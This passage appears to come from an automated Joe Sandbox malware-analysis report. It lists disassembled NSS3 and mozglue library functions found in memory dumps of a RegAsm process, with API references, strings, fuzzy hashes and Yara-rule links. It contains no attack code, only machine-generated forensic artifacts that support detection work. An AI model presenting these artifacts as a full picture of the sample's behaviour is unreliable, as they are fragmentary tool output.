PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C29AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C29AE29

Part of subcall function 6C37D930: PL_strncpyz.NSS3(?,?,?), ref: 6C37D963

PR_LogPrint.NSS3(?,00000000), ref: 6C29AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C29AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C29AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C29AEA0

Strings

C_MessageSignInit, xrefs: 6C29ADE1
(CK_INVALID_HANDLE), xrefs: 6C29AE1F, 6C29AE80
hKey = 0x%x, xrefs: 6C29AE62, 6C29AE72
n7l, xrefs: 6C29AEB8, 6C29AEE6
hSession = 0x%x, xrefs: 6C29AE01, 6C29AE11

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$n7l
API String ID: 332880674-1570684588
Opcode ID: 9dff5d183ffe704ab9188d1c7f52c469dce5655767fa5f745908012a7e1337ca
Instruction ID: 469beb519726bebf168dcd01d5f47d78597dff6e958543d00b6fe4e7d2f5272f
Opcode Fuzzy Hash: 9dff5d183ffe704ab9188d1c7f52c469dce5655767fa5f745908012a7e1337ca
Instruction Fuzzy Hash: 80311A72A01208EBCB009F15DC48FAF3779AB4630DF444035FC096B611DB39A908CFA6

Function 6C292DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C292DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C292E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C292E33

Part of subcall function 6C37D930: PL_strncpyz.NSS3(?,?,?), ref: 6C37D963

PR_LogPrint.NSS3(?,00000000), ref: 6C292E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C292E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C292E81

Strings

(CK_INVALID_HANDLE), xrefs: 6C292E2C
n7l, xrefs: 6C292E99, 6C292EC4
pPin = 0x%p, xrefs: 6C292E63
ulPinLen = %d, xrefs: 6C292E7C
hSession = 0x%x, xrefs: 6C292E0E, 6C292E1E
C_InitPIN, xrefs: 6C292DF1

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$n7l
API String ID: 1003633598-3750579658
Opcode ID: 7e989121f618a1090cdebf282938162ef61d6ab019ca2e6994da543e5329294d
Instruction ID: 2fbf5fef3d68f1a7048e00c9fc11854c0d7d7584efa99fa3e2ef304b60723086
Opcode Fuzzy Hash: 7e989121f618a1090cdebf282938162ef61d6ab019ca2e6994da543e5329294d
Instruction Fuzzy Hash: 1D3125B5601159ABCB109B16DD8CF8E3778EB4231CF044020EC48AB751DB39BA48CFE2

Function 6C1AAC20 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C1AAC52
CreateFileMappingW.KERNEL32 ref: 6C1AAC7D
GetSystemInfo.KERNEL32 ref: 6C1AAC98
MapViewOfFile.KERNEL32 ref: 6C1AACB0
GetSystemInfo.KERNEL32 ref: 6C1AACCD
MapViewOfFile.KERNEL32 ref: 6C1AAD05
UnmapViewOfFile.KERNEL32 ref: 6C1AAD1C
CloseHandle.KERNEL32 ref: 6C1AAD28
UnmapViewOfFile.KERNEL32 ref: 6C1AAD37
CloseHandle.KERNEL32 ref: 6C1AAD43
CloseHandle.KERNEL32 ref: 6C1AAD67

Strings

g/, xrefs: 6C1AAC29

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID: g/
API String ID: 1192971331-2179982415
Opcode ID: 6f03e46c299ed34326ee6e042f482d33530b8aa87bb917028c205c0270514ad8
Instruction ID: c6a8b134cd534b372928800a0a6622bb2a8f91b52ae5be25950514c918afdab1
Opcode Fuzzy Hash: 6f03e46c299ed34326ee6e042f482d33530b8aa87bb917028c205c0270514ad8
Instruction Fuzzy Hash: 593140B1A047048FDB00AFB8D6482AEBFF0BF85705F01892DE985D7211EB749559DF92

Function 6C2A6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C2A781D,00000000,6C29BE2C,?,6C2A6B1D,?,?,?,?,00000000,00000000,6C2A781D), ref: 6C2A6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C2A781D,?,6C29BE2C,?), ref: 6C2A6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C2A781D), ref: 6C2A6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C2A6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C2A6C96

Part of subcall function 6C251240: TlsGetValue.KERNEL32(00000040,?,6C25116C,NSPR_LOG_MODULES), ref: 6C251267
Part of subcall function 6C251240: EnterCriticalSection.KERNEL32(?,?,?,6C25116C,NSPR_LOG_MODULES), ref: 6C25127C
Part of subcall function 6C251240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C25116C,NSPR_LOG_MODULES), ref: 6C251291
Part of subcall function 6C251240: PR_Unlock.NSS3(?,?,?,?,6C25116C,NSPR_LOG_MODULES), ref: 6C2512A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C2A6CAA

Strings

dbm:, xrefs: 6C2A6C3A
sql:, xrefs: 6C2A6C52
extern:, xrefs: 6C2A6C7E
dbm, xrefs: 6C2A6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6C2A6C91
rdb:, xrefs: 6C2A6C69

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 48917b99e709d5fa7980241eef9e618d4e873b80de838e4bc526af54288b9042
Instruction ID: 1950949e7712079d461f8fda46c7056becb78779e19bed1980a52d5055702c03
Opcode Fuzzy Hash: 48917b99e709d5fa7980241eef9e618d4e873b80de838e4bc526af54288b9042
Instruction Fuzzy Hash: 5601DFA170230777E65027E92CCAF22315DDB4224AF140031FF04E4981EB9AE52644A9

Function 6C2B4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C2778F8), ref: 6C2B4E6D

Part of subcall function 6C2509E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C2506A2,00000000,?), ref: 6C2509F8
Part of subcall function 6C2509E0: malloc.MOZGLUE(0000001F), ref: 6C250A18
Part of subcall function 6C2509E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C250A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C2778F8), ref: 6C2B4ED9

Part of subcall function 6C2A5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C2A7703,?,00000000,00000000), ref: 6C2A5942
Part of subcall function 6C2A5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C2A7703), ref: 6C2A5954
Part of subcall function 6C2A5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C2A596A
Part of subcall function 6C2A5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C2A5984
Part of subcall function 6C2A5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C2A5999
Part of subcall function 6C2A5920: free.MOZGLUE(00000000), ref: 6C2A59BA
Part of subcall function 6C2A5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C2A59D3
Part of subcall function 6C2A5920: free.MOZGLUE(00000000), ref: 6C2A59F5
Part of subcall function 6C2A5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C2A5A0A
Part of subcall function 6C2A5920: free.MOZGLUE(00000000), ref: 6C2A5A2E
Part of subcall function 6C2A5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C2A5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B4EB3

Part of subcall function 6C2B4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C2B4EB8,?,?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B484C
Part of subcall function 6C2B4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C2B4EB8,?,?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B486D
Part of subcall function 6C2B4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C2B4EB8,?), ref: 6C2B4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B4EC0

Part of subcall function 6C2B4470: TlsGetValue.KERNEL32(00000000,?,6C277296,00000000), ref: 6C2B4487
Part of subcall function 6C2B4470: EnterCriticalSection.KERNEL32(?,?,?,6C277296,00000000), ref: 6C2B44A0
Part of subcall function 6C2B4470: PR_Unlock.NSS3(?,?,?,?,6C277296,00000000), ref: 6C2B44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C38DCB0,00000000), ref: 6C2B4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C2B501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C2778F8), ref: 6C2B506B

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 7aed5cb01460fe39cee79f1a5cc140f6fa5341d8a915eaae2a9add3222e51ec5
Instruction ID: 931c6551662956a46ab183ec958a59f89fe2af66ea6890abdfb3e397440a5db2
Opcode Fuzzy Hash: 7aed5cb01460fe39cee79f1a5cc140f6fa5341d8a915eaae2a9add3222e51ec5
Instruction Fuzzy Hash: 9451E5B1D0020A9BDB119F24EC41AAF77B8FF1539DF140535EC4A66A11FB31E525CAD2

Function 6C25ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C25ACE2
malloc.MOZGLUE(00000001), ref: 6C25ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C25AD02
TlsGetValue.KERNEL32 ref: 6C25AD3C
calloc.MOZGLUE(00000001,?), ref: 6C25AD8C
PR_Unlock.NSS3 ref: 6C25ADC0
free.MOZGLUE(00000000), ref: 6C25AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C25AE58
free.MOZGLUE(00000000), ref: 6C25AE69
free.MOZGLUE(?), ref: 6C25AE78
PR_Unlock.NSS3 ref: 6C25AE8C
free.MOZGLUE(?), ref: 6C25AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C25AEC7

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: c33f51f37d7fdec5af81ff055c7b9dffc0e0f73703d720e4dbe4e94ed22330bb
Instruction ID: bb73ea69450ed793583e5322cabdfd64d2adcfdbd8a3189febe8ab4c9512cd85
Opcode Fuzzy Hash: c33f51f37d7fdec5af81ff055c7b9dffc0e0f73703d720e4dbe4e94ed22330bb
Instruction Fuzzy Hash: D3517FB5A0121ACBDB10EF58DC42ABFB7B8BB06349F540125DC45A7A00D335BA25CBE6

Function 6C334C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C334CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C334CFD
sqlite3_value_text16.NSS3(?), ref: 6C334D44

Strings

API call with %s database connection pointer, xrefs: 6C334CF6
unknown error, xrefs: 6C334D56
invalid, xrefs: 6C334CF1
abort due to ROLLBACK, xrefs: 6C334D27, 6C334D33
out of memory, xrefs: 6C334C78, 6C334C9E
another row available, xrefs: 6C334D20
bad parameter or other API misuse, xrefs: 6C334D05
no more rows available, xrefs: 6C334D2E

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 21229d007f4a65b9e5574f3901003f71d4bf8f7a752de0f9785ad5f1c70de11c
Instruction ID: 617ee6b01372d8686885293207e3d8bc0ed94c38b596a4d01d1bdf5958336c22
Opcode Fuzzy Hash: 21229d007f4a65b9e5574f3901003f71d4bf8f7a752de0f9785ad5f1c70de11c
Instruction Fuzzy Hash: 84316872E089F0B7D705572498017E5BB2977C231CF152125D82D4BE15D727AC51CFE2

Function 6C143480 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C143492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C1434A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C1434EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C14350E
__Init_thread_footer.LIBCMT ref: 6C143522
__aulldiv.LIBCMT ref: 6C143552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C14357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C143592

Part of subcall function 6C17AB89: EnterCriticalSection.KERNEL32(6C1CE370,?,?,?,6C1434DE,6C1CF6CC,?,?,?,?,?,?,?,6C143284), ref: 6C17AB94
Part of subcall function 6C17AB89: LeaveCriticalSection.KERNEL32(6C1CE370,?,6C1434DE,6C1CF6CC,?,?,?,?,?,?,?,6C143284,?,?,6C1656F6), ref: 6C17ABD1

Strings

g/, xrefs: 6C143488
kernel32.dll, xrefs: 6C1434EA
GetSystemTimePreciseAsFileTime, xrefs: 6C143508

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: g/$GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-3469085198
Opcode ID: 12d3f958f4a83a34ee077411d431419e5c956b0bc7250539582c433d0c40eec2
Instruction ID: 41d265f98a4396ee15a64c7b333b292d206269c02e2180d139266f6535927efe
Opcode Fuzzy Hash: 12d3f958f4a83a34ee077411d431419e5c956b0bc7250539582c433d0c40eec2
Instruction Fuzzy Hash: 8731AF71F00219DBDF04DFB9C848BAA7BB9FB56708F108029F511E7650DB38AA06DB61

Function 6C18EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C189420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C154A68), ref: 6C18945E
Part of subcall function 6C189420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C189470
Part of subcall function 6C189420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C189482
Part of subcall function 6C189420: __Init_thread_footer.LIBCMT ref: 6C18949F

GetCurrentThreadId.KERNEL32 ref: 6C18EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C18EC8C

Part of subcall function 6C1894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C1894EE
Part of subcall function 6C1894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C189508

GetCurrentThreadId.KERNEL32 ref: 6C18ECA1
AcquireSRWLockExclusive.KERNEL32(6C1CF4B8), ref: 6C18ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C18ECC5
ReleaseSRWLockExclusive.KERNEL32(6C1CF4B8), ref: 6C18ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C18ED19
CloseHandle.KERNEL32(?), ref: 6C18ED28
free.MOZGLUE(00000000), ref: 6C18ED2F
ReleaseSRWLockExclusive.KERNEL32(6C1CF4B8), ref: 6C18ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C18EC94

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 232b333297e420227333f148b098b585af4cc08ed0228662b34f23bd941f3acd
Instruction ID: 8d5fc5a41612527637a7a1f55dff9a654cab2122587e22cafae0de940e95101c
Opcode Fuzzy Hash: 232b333297e420227333f148b098b585af4cc08ed0228662b34f23bd941f3acd
Instruction Fuzzy Hash: 0B212779605108ABDF009F64D808BAA3B39EF5636DF104210FC2887741DB3D9A09DFA2

Function 6C292CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C292CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C292D07

Part of subcall function 6C3709D0: PR_Now.NSS3 ref: 6C370A22
Part of subcall function 6C3709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C370A35
Part of subcall function 6C3709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C370A66
Part of subcall function 6C3709D0: PR_GetCurrentThread.NSS3 ref: 6C370A70
Part of subcall function 6C3709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C370A9D
Part of subcall function 6C3709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C370AC8
Part of subcall function 6C3709D0: PR_vsmprintf.NSS3(?,?), ref: 6C370AE8
Part of subcall function 6C3709D0: EnterCriticalSection.KERNEL32(?), ref: 6C370B19
Part of subcall function 6C3709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C370B48
Part of subcall function 6C3709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C370C76
Part of subcall function 6C3709D0: PR_LogFlush.NSS3 ref: 6C370C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C292D22

Part of subcall function 6C3709D0: OutputDebugStringA.KERNEL32(?), ref: 6C370B88
Part of subcall function 6C3709D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C370C5D
Part of subcall function 6C3709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C370C8D
Part of subcall function 6C3709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C370C9C
Part of subcall function 6C3709D0: OutputDebugStringA.KERNEL32(?), ref: 6C370CD1
Part of subcall function 6C3709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C370CEC
Part of subcall function 6C3709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C370CFB
Part of subcall function 6C3709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C370D16
Part of subcall function 6C3709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C370D26
Part of subcall function 6C3709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C370D35
Part of subcall function 6C3709D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C370D65
Part of subcall function 6C3709D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C370D70
Part of subcall function 6C3709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C370D90
Part of subcall function 6C3709D0: free.MOZGLUE(00000000), ref: 6C370D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C292D3B

Part of subcall function 6C3709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C370BAB
Part of subcall function 6C3709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C370BBA
Part of subcall function 6C3709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C370D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C292D54

Part of subcall function 6C3709D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C370BCB
Part of subcall function 6C3709D0: EnterCriticalSection.KERNEL32(?), ref: 6C370BDE
